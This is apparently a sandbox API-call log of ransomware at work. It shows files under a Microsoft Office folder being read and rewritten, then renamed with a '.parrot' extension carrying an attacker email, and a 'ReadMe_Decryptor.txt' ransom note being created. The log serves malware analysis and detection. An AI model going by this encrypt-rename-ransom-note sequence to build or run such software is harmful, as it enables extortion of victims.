[0203.525] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3e00, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3e00, lpOverlapped=0x0) returned 1 [0203.526] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0203.526] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0203.526] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0203.526] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0203.526] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0203.526] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0203.526] GetLastError () returned 0x0 [0203.526] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.526] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0203.526] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0203.526] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0203.526] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0203.526] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0203.527] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0203.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0203.527] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0203.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0203.527] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0203.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0203.527] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0203.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0203.527] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0203.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0203.527] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0203.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0203.527] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0203.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0203.527] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0203.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0203.527] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0203.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0203.527] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0203.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0203.527] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0203.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0203.527] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0203.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0203.527] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x22fa088 [0203.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0203.527] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6a3268 [0203.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0203.527] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0203.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0203.527] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0203.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0203.527] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0203.527] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0203.528] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0203.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0203.528] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0203.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0203.528] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0203.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0203.528] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x31ac460 [0203.529] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0203.529] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x31af3f8 [0203.529] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac460 | out: hHeap=0x5b0000) returned 1 [0203.529] WriteFile (in: hFile=0x27c, lpBuffer=0x31af400*, nNumberOfBytesToWrite=0x3f28, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x31af400*, lpNumberOfBytesWritten=0x18eed4*=0x3f28, lpOverlapped=0x0) returned 1 [0203.532] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31af3f8 | out: hHeap=0x5b0000) returned 1 [0203.532] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3f18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0203.532] CloseHandle (hObject=0x27c) returned 1 [0203.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173d20 [0203.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x2293178 [0203.533] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173d20 | out: hHeap=0x5b0000) returned 1 [0203.533] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB2B.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub2b.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB2B.BDR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub2b.bdr.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0203.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293178 | out: hHeap=0x5b0000) returned 1 [0203.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0203.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a2498 | out: hHeap=0x5b0000) returned 1 [0203.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df78 [0203.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0203.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0203.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0203.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ecc8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0203.535] GetFileType (hFile=0x27c) returned 0x1 [0203.535] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0203.591] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0203.592] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0203.593] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.593] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xde58, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xde58, lpOverlapped=0x0) returned 1 [0203.594] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0203.594] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0203.594] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0203.594] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0203.594] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0203.594] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0203.594] GetLastError () returned 0x0 [0203.596] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.596] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0203.596] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0203.596] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0203.596] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0203.596] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0203.596] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0203.596] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0203.596] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0203.596] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0203.596] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0203.596] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0203.596] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0203.596] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0203.596] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0203.596] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0203.596] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0203.596] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0203.596] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0203.596] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0203.596] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0203.596] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0203.596] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0203.596] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0203.596] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0203.596] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0203.596] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0203.596] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0203.596] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0203.596] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0203.596] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x22fa088 [0203.596] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0203.597] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6a3268 [0203.597] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0203.597] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0203.597] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0203.597] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0203.597] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0203.597] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0203.597] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0203.597] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0203.597] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0203.597] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0203.597] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0203.597] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0203.597] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0203.597] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x31c44e0 [0203.597] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0203.597] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x31c7478 [0203.597] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c44e0 | out: hHeap=0x5b0000) returned 1 [0203.597] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x31a0458 [0203.597] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31c7478 | out: hHeap=0x5b0000) returned 1 [0203.597] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x31d64b0 [0203.599] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31a0458 | out: hHeap=0x5b0000) returned 1 [0203.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x31e04e0 [0203.599] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x5b0000) returned 1 [0203.600] WriteFile (in: hFile=0x27c, lpBuffer=0x31e0500*, nNumberOfBytesToWrite=0xdf78, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x31e0500*, lpNumberOfBytesWritten=0x18eed4*=0xdf78, lpOverlapped=0x0) returned 1 [0203.604] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31e04e0 | out: hHeap=0x5b0000) returned 1 [0203.604] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xdf70, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0203.604] CloseHandle (hObject=0x27c) returned 1 [0203.604] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173d20 [0203.604] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x2293178 [0203.604] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173d20 | out: hHeap=0x5b0000) returned 1 [0203.604] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB3A.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub3a.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB3A.BDR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubba\\mspub3a.bdr.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0203.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2293178 | out: hHeap=0x5b0000) returned 1 [0203.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0203.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31b44a0 | out: hHeap=0x5b0000) returned 1 [0203.609] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68df78 [0203.609] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x658780 [0203.609] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0203.609] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0203.612] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0203.612] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0203.613] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.613] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf4e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xf4e, lpOverlapped=0x0) returned 1 [0203.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0203.613] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0203.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0203.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0203.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0203.613] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0203.613] GetLastError () returned 0x0 [0203.614] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0203.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0203.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0203.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0203.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0203.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0203.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0203.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0203.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0203.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0203.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0203.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0203.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0203.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0203.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0203.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0203.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0203.614] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0203.615] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0203.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0203.615] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0203.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b9c0 [0203.615] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0203.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x658780 [0203.615] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b9c0 | out: hHeap=0x5b0000) returned 1 [0203.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0203.615] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0203.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0203.615] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0203.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x22fa088 [0203.615] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0203.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6a3268 [0203.615] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fa088 | out: hHeap=0x5b0000) returned 1 [0203.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x69f268 [0203.615] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0203.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0203.615] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0203.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0203.615] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0203.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0203.615] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0203.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0203.616] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0203.616] WriteFile (in: hFile=0x27c, lpBuffer=0x5cee60*, nNumberOfBytesToWrite=0x1068, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x5cee60*, lpNumberOfBytesWritten=0x18eed4*=0x1068, lpOverlapped=0x0) returned 1 [0203.619] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0203.619] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1066, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0203.619] CloseHandle (hObject=0x27c) returned 1 [0203.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173d20 [0203.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x2293178 [0203.619] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173d20 | out: hHeap=0x5b0000) returned 1 [0203.619] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB3B.BDR" (normalized: "c:\\program files\\microsoft 